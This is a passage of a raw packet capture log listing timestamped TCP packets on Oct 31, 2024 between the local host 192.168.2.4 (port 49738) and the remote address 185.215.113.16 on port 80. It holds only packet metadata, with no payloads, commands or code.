Oct 31, 2024 04:15:16.819441080 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.819464922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.819580078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819591045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819653988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833303928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833359957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833389997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833408117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833441019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833472967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833486080 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833501101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833523989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833539009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833540916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833554983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833576918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833584070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833606005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833626986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833669901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833682060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833719015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833723068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833779097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833810091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833882093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833893061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833930016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.833956957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833967924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.833981991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834006071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834014893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834028006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834090948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834103107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834147930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834193945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834204912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834214926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834227085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834242105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834260941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834261894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834290028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834299088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834506989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834518909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834537029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834547997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834558964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834562063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834570885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834580898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834640980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834661961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834672928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834683895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834695101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834706068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834707975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834717989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834727049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834755898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834816933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834829092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834867001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834891081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834903002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.834918976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834932089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.834968090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835026979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835038900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835048914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835061073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835073948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835108042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835179090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835191011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835201025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835223913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835228920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835258961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835289001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835302114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835336924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835365057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835380077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835391045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835418940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835469961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835509062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835515976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835520983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835566044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835623026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835633993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835644960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835656881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835669041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835697889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835762978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835774899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835784912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835798025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835807085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835833073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.835899115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835937977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835949898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.835984945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.848336935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848347902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848359108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848391056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.848418951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848423004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.848428965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848440886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848454952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848462105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.848521948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848534107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.848537922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.848572016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.860676050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860697985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860707998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860739946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.860753059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860764027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860775948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860788107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.860812902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.860845089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860898972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860910892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860941887 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.860946894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860956907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860968113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.860980988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861006975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861011982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861048937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861061096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861095905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861181021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861191988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861203909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861216068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861222029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861249924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861253023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861299038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861332893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861336946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861349106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861370087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861433029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861444950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861454964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861476898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861488104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861504078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861527920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861583948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861584902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861597061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861629963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861641884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861689091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861701012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861732006 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861797094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861809015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861819983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861841917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861865997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.861895084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861907005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861918926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.861954927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862015963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862026930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862037897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862051010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862067938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862082958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862138033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862174988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862201929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862220049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862231970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862265110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862344027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862354994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862380028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862417936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862430096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862441063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862452030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862478018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862488031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862499952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862533092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862565041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862577915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862593889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862608910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.862656116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.862692118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.935514927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.935534954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.935545921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.935585022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.965775967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969418049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969432116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969449043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969461918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969469070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969474077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969513893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969573021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969650030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969661951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969679117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969691992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969702959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969710112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969721079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969722033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969747066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969774008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969784975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969813108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969851971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969863892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969886065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969891071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969926119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.969953060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969964981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969976902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969990015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.969999075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970025063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970046043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970088959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970136881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970169067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970180035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970191002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970212936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970243931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970263004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970299959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970323086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970335007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970361948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970366001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970372915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970410109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970495939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970509052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970520020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970549107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970560074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970618010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970629930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970640898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970653057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970664978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970665932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970690966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970855951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970868111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970877886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.970906019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.970932007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973001957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973014116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973025084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973083973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973104000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973114967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973126888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973150969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973174095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973203897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973217010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973228931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973242998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973253012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973257065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973304987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973330021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973340034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973376989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973377943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973423004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973431110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973442078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973452091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973467112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973474979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973479033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973490000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.973510981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.973529100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.981354952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.987782001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.987812042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.987823009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.987859011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.987860918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.987873077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.987903118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.987993956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988004923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988015890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988029003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988039970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988054991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988084078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988142967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988153934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988164902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988193989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988207102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988240957 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988272905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988284111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988293886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988320112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988352060 CET	80	49738	185.215.113.16	192.168.2.4
